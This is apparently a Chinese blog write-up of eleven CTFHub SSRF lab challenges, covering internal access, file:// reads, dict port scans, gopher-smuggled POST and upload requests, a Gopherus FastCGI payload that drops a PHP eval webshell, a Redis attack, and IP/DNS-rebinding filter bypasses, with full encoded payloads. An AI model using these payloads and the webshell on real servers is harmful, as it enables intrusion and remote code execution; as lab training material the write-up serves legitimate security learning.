CTFHub之web之ssrf

2024/7/24

我们来做一做CTFHub之web之ssrf的靶场攻略

我们来到第一题,内网访问

根据题意,网文内网的文件我们使用http://127.0.0.1/flag.php来直接访问存在ssrf漏洞的靶场

即可获得flag,十分简单,考了什么是ssrf漏洞,如何使用漏洞访问内网ip

我们来到第二题

伪协议读取文件

尝试读取web目录下的文件也就是使用file协议来读取文件

file:///flag.php

结果不对显然是文件目录不对

上网查了一下linux网站默认目录 ,Apache默认网站目录是在/var/www/html

那么我们访问

file:///var/www/html/flag.php

网站会以我们???打开源代码

flag找到了

我们来到第三关

端口扫描

显然扫描端口我们需要工具以及dict协议

dict://127.0.0.1:8000

开启万能的burpsuit

貌似把靶场打崩了,没找到flag

找到了把dict改成http即可

来做第四题

post请求,那么肯定要抓包的

第一步,和前面的题一样先访问http://127.0.0.1/flag.php并F12查看源代码

将代码中的key复制到框中

抓一个包

提示

显然这是302重定向问题,现在处理一下,重抓包然后把包中和重定向相关的都删了

只留下host和两个content

并保存个txt

解决重定向问题改host为

Host: 127.0.0.1:80

加码url编码两次

加码的时候一定要选一个能把空格加码成%20而不是+的加码工具

这点很重要!

第一次

POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application/x-www-form-urlencoded%0A%0Akey%3D638bf3fd51a6f68cba2b1fd7dff24140

将编码结果%0A全部替换为%0D%0A并在最后加入%0D%0A

在将结果进行第二次url编码

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D638bf3fd51a6f68cba2b1fd7dff24140%250D%250A

在url处填写gopher协议让其用我们抓的包跳转到当前页面

gopher://127.0.0.1:80/_

http://challenge-0ba44c0499ad85b8.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D638bf3fd51a6f68cba2b1fd7dff24140%250D%250A

就找到flag了

第五关

上传文件

打开环境

老规矩先访问flag.php

选择文件上传

发现这个不安好心提交不给提交按钮,无法我们只能自己写一个

F12打开源代码手搓一个

<input type="submit" name="submit">

然后上传一个文件,接着抓一个包

和第四关一样的操作重复一下

删掉多余的

把乱码的框都删了加上相应数量的文字在reperter里看

length长度在重放器里看,要一致

两次url加码

第一次改%0A->%0D%0A最后加%0A

然后gopher://127.0.0.1:80/_提交

ctfhub{36b722c829a7eecd09d50e00}

第六关

FastCGI协议

步骤一:准备一句话木马并构造要执行的终端命令:对一句话木马进行base64编码且写入到名为shell.php的文件中。

<?php @eval($_POST['cmd']);?>

把这段话经过base64编码后为

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

打开kali输入

echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |  base64 -d > shell.php

把这段话64解码重定向到shell.php中这样我们的一句话木马准备完毕

步骤二:使用Gopherus工具生成payload:

安装软件

git clone https://github.com/tarunkant/Gopherus.git

python2 gopherus.py --exploit fastcgi

并输入网址目录和木马语句生成攻击载荷

将生成的载荷二次url编码后访问即可

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%02%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH125%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%14SCRIPT_FILENAME/vaww/html/index.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7D%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D%22%20%7C%C2%A0%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2502%2502%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH125%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2514SCRIPT_FILENAME/vaww/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257D%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%253D%2522%2520%257C%25C2%25A0%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500%0A

访问后会在网站同级目录生成shell.php

打开菜刀一个为目录另外一个为木马的参数即可链接

可在根目录下找到flag

本体注意点,加码时不要有多余的空行以及网站同级目录的位置

第七关

这一关同上一题,用相同的软件相同的操作,漏洞改一下即可使用redis漏洞

复制链接去加码加码后攻击网站

http://challenge-f45846a55409a5d6.sandbox.ctfhub.com:10800/?url=_

去掉最后下划线并把代码粘贴网站会一直转圈,这是正常现象

然后根目录访问shell.php

http://challenge-f45846a55409a5d6.sandbox.ctfhub.com:10800/shell.php

为下图,然后使用菜刀

如何使用菜刀见上一课内容,在根目录即可找到flag

第八关

url必须包含http://notfound.ctfhub.com

这里我们使用@,A@B意味着A是B的用户我们使用

http://challenge-f73b300e18dff780.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

来访问即可获得flag

第九关

数字型把ip改为十六进制表示即可

127.0.0.1改为16进制为7F000001

点用0表示其他数字用十六进制转换即可0x可以让浏览器识别十六进制

访问即可获得flag

第十关

使用localhost代替127.0.0.1即可绕过302

第十一关

利用?url=http://7f000001.7f000002.rbndr.us/flag.php即可

http://challenge-82d57799f6110afa.sandbox.ctfhub.com:10800/?url=http://7f000001.7f000002.rbndr.us/flag.php

访问即可获得flag

CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHubSSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值